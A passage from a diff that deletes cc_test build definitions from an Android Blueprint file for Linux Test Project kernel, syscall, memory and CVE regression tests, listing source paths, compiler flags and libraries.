-    srcs: ["testcases/kernel/fs/fs_fill/fs_fill.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_vma05_vdso",
-    stem: "vma05_vdso",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/vma/vma05_vdso.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_waitpid13",
-    stem: "waitpid13",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/waitpid/waitpid13.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ptrace03",
-    stem: "ptrace03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ptrace/ptrace03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getdents01",
-    stem: "getdents01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getdents/getdents01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ptrace01",
-    stem: "ptrace01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ptrace/ptrace01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cgroup_xattr",
-    stem: "cgroup_xattr",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cgroup_xattr/cgroup_xattr.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ptrace07",
-    stem: "ptrace07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ptrace/ptrace07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_add_key03",
-    stem: "add_key03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/add_key/add_key03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ptrace05",
-    stem: "ptrace05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ptrace/ptrace05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_ptrace04",
-    stem: "ptrace04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/ptrace/ptrace04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_can_rcv_own_msgs",
-    stem: "can_rcv_own_msgs",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/can/filter-tests/can_rcv_own_msgs.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-DETH_P_CAN=0x000C",
-        "-DPF_CAN=29",
-        "-DAF_CAN=PF_CAN",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_umount2_02",
-    stem: "umount2_02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/umount2/umount2_02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_genhypot",
-    stem: "genhypot",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/exp_log/genhypot.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_execle01_child",
-    stem: "execle01_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execle/execle01_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_prctl02",
-    stem: "prctl02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/prctl/prctl02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_renameat201",
-    stem: "renameat201",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/renameat2/renameat201.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tomoyo_file_test",
-    stem: "tomoyo_file_test",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/security/tomoyo/tomoyo_file_test.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_copy_file_range01",
-    stem: "copy_file_range01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/copy_file_range/copy_file_range01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tee02",
-    stem: "tee02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/tee/tee02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuset01",
-    stem: "cpuset01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/cpuset/cpuset01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_sighold02",
-    stem: "sighold02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sighold/sighold02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_getrlimit01",
-    stem: "getrlimit01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getrlimit/getrlimit01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_unlink07",
-    stem: "unlink07",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/unlink/unlink07.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cve-2016-4997",
-    stem: "cve-2016-4997",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/cve/cve-2016-4997.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_unlink06",
-    stem: "unlink06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/unlink/unlink06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_bdflush01",
-    stem: "bdflush01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/bdflush/bdflush01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_readdir02",
-    stem: "readdir02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readdir/readdir02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_quotactl01",
-    stem: "quotactl01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/quotactl/quotactl01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_float_bessel",
-    stem: "float_bessel",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/float_bessel.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_uaccess",
-    stem: "uaccess",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/device-drivers/uaccess/uaccess.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_setsid01",
-    stem: "setsid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/setsid/setsid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tst_fs_fill_subdirs",
-    stem: "tst_fs_fill_subdirs",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["lib/tests/tst_fs_fill_subdirs.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_pec_listener",
-    stem: "pec_listener",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/connectors/pec/pec_listener.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open05",
-    stem: "open05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_test_6_2",
-    stem: "test_6_2",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cgroup/test_6_2.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_lstat01",
-    stem: "lstat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lstat/lstat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/lstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_lstat03",
-    stem: "lstat03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lstat/lstat03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/lstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_lstat02",
-    stem: "lstat02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/lstat/lstat02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/lstat",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_futex_wake01",
-    stem: "futex_wake01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/futex/futex_wake01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_futex_wake02",
-    stem: "futex_wake02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/futex/futex_wake02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mknod05",
-    stem: "mknod05",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mknod/mknod05.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_futex_wake04",
-    stem: "futex_wake04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/futex/futex_wake04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_capset01",
-    stem: "capset01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/capset/capset01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_lftest",
-    stem: "lftest",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/fs/lftest/lftest.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_FILE_OFFSET_BITS=64",
-        "-D_LARGEFILE_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_open06",
-    stem: "open06",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/open/open06.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cve-2016-10044",
-    stem: "cve-2016-10044",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/cve/cve-2016-10044.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_linkat02",
-    stem: "linkat02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/linkat/linkat02.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-Wno-error",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_umount01",
-    stem: "umount01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/umount/umount01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_readlink01",
-    stem: "readlink01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readlink/readlink01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cpuacct_task",
-    stem: "cpuacct_task",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/controllers/cpuacct/cpuacct_task.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/controllers/libcontrollers",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_readlink03",
-    stem: "readlink03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/readlink/readlink03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_kill04",
-    stem: "kill04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kill/kill04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_fstatat01",
-    stem: "fstatat01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/fstatat/fstatat01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_exit_group01",
-    stem: "exit_group01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/exit_group/exit_group01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_gentanh",
-    stem: "gentanh",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/misc/math/float/iperb/gentanh.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_umount03",
-    stem: "umount03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/umount/umount03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_thp02",
-    stem: "thp02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/thp/thp02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_getresgid01",
-    stem: "getresgid01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/getresgid/getresgid01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_umount02",
-    stem: "umount02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/umount/umount02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mc_send",
-    stem: "mc_send",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/network/multicast/mc_commo/mc_send.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-}
-
-cc_test {
-    name: "ltp_munmap01",
-    stem: "munmap01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/munmap/munmap01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_execve03",
-    stem: "execve03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execve/execve03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nice04",
-    stem: "nice04",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/nice/nice04.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nice03",
-    stem: "nice03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/nice/nice03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nice02",
-    stem: "nice02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/nice/nice02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_nice01",
-    stem: "nice01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/nice/nice01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_tpci",
-    stem: "tpci",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/device-drivers/pci/tpci_user/tpci.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_vma02",
-    stem: "vma02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/vma/vma02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_execve01_child",
-    stem: "execve01_child",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/execve/execve01_child.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_cve-2012-0957",
-    stem: "cve-2012-0957",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/cve/cve-2012-0957.c"],
-    cflags: [
-        "-D_GNU_SOURCE",
-        "-D_FORTIFY_SOURCE=2",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_munmap02",
-    stem: "munmap02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/munmap/munmap02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_sendfile02",
-    stem: "sendfile02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/sendfile/sendfile02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/sendfile",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_hangup01",
-    stem: "hangup01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/pty/hangup01.c"],
-    cflags: [
-        "-D_FORTIFY_SOURCE=2",
-        "-D_GNU_SOURCE",
-    ],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_socket02",
-    stem: "socket02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/socket/socket02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_kill12",
-    stem: "kill12",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kill/kill12.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_kill10",
-    stem: "kill10",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kill/kill10.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_kill11",
-    stem: "kill11",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/kill/kill11.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/ipc/lib",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_ipc",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_dup203",
-    stem: "dup203",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup2/dup203.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup202",
-    stem: "dup202",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup2/dup202.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_dup201",
-    stem: "dup201",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/dup2/dup201.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_mkdir01",
-    stem: "mkdir01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/mkdir/mkdir01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_uname01",
-    stem: "uname01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/uname/uname01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_uname03",
-    stem: "uname03",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/uname/uname03.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_uname02",
-    stem: "uname02",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/uname/uname02.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_truncate01",
-    stem: "truncate01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/truncate/truncate01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/syscalls/truncate",
-        "testcases/kernel/syscalls/utils",
-        "include/old",
-    ],
-    static_libs: ["libltp_ltp"],
-}
-
-cc_test {
-    name: "ltp_hugemmap01",
-    stem: "hugemmap01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/mem/hugetlb/hugemmap/hugemmap01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: [
-        "testcases/kernel/mem/include",
-        "testcases/kernel/mem/hugetlb/lib",
-        "testcases/kernel/include",
-        "include/old",
-    ],
-    static_libs: [
-        "libltp_mem",
-        "libltp_kerntest",
-        "libltp_hugetlb",
-        "libltp_ltp",
-    ],
-}
-
-cc_test {
-    name: "ltp_rt_sigqueueinfo01",
-    stem: "rt_sigqueueinfo01",
-    defaults: ["ltp_test_defaults"],
-    srcs: ["testcases/kernel/syscalls/rt_sigqueueinfo/rt_sigqueueinfo01.c"],
-    cflags: ["-D_FORTIFY_SOURCE=2"],
-    local_include_dirs: ["include/old"],
